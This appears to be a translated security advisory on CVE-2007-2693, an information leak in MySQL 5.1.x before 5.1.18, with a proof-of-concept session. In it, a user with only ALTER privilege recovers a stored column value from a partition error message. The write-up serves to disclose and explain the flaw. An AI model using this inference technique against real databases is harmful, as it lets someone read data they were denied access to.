Causes of MySQL Alter Table function Information Leakage

The following articles mainly describe the information related to MySQL Alter Table function leakage. If you are using MySQL Alter Table, you can use the following articles to study it!

Affected Systems:

 
 

  
  
MySQL AB MySQL 5.1.x < 5.1.18  
 
 

Unaffected system:

 
 

  
  
MySQL AB MySQL 5.1.18  
 
 

Description: bugtraq id: 24008

CVE (CAN) ID: CVE-2007-2693

MySQL is a widely used open-source relational database system with running versions on various platforms.

The MySQL Alter Table feature has a vulnerability. attackers who log on to the database system with a valid account may exploit this vulnerability to obtain sensitive information related to data tables without authorization.

If you have the ALTER permission on a TABLE, you can use the alter table statement to obtain some sensitive information about the TABLE even if you do not have the SELECT permission. For example, you can run the following command:

 
 

  
  
ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  
 
 

MySQL returns an error message:

 
 

  
  
"Table has no partition for value 18".  
 
 

In this way, you can know that columns with column1 = 18 exist.

Test method:

Publish as root user:

 
 

  
  
mysql> create table tu (s1 int);   
  
  
Query OK, 0 rows affected (0.00 sec)   
  
  
mysql> insert into tu values (1);   
  
  
Query OK, 1 row affected (0.00 sec)   
  
  
mysql> grant alter on tu to molly@localhost;   
  
  
Query OK, 0 rows affected (0.01 sec)   
  
  
 
 
 

Published with molly @ localhost:

 
 

  
  
mysql> select * from tu;   
  
  
ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   
  
  
'tu'   
  
  
mysql> alter table tu partition by list (s1) (partition p1 values in (1));   
  
  
Query OK, 1 row affected (0.05 sec)   
  
  
Records: 1 Duplicates: 0 Warnings: 0   
  
  
mysql> alter table tu partition by list (s1) (partition p1 values in (2));   
  
  
ERROR 1513 (HY000): Table has no partition for value 1  
 
 

The above content is an introduction to the MySQL Alter Table function Information Leakage vulnerability. I hope you will find some gains.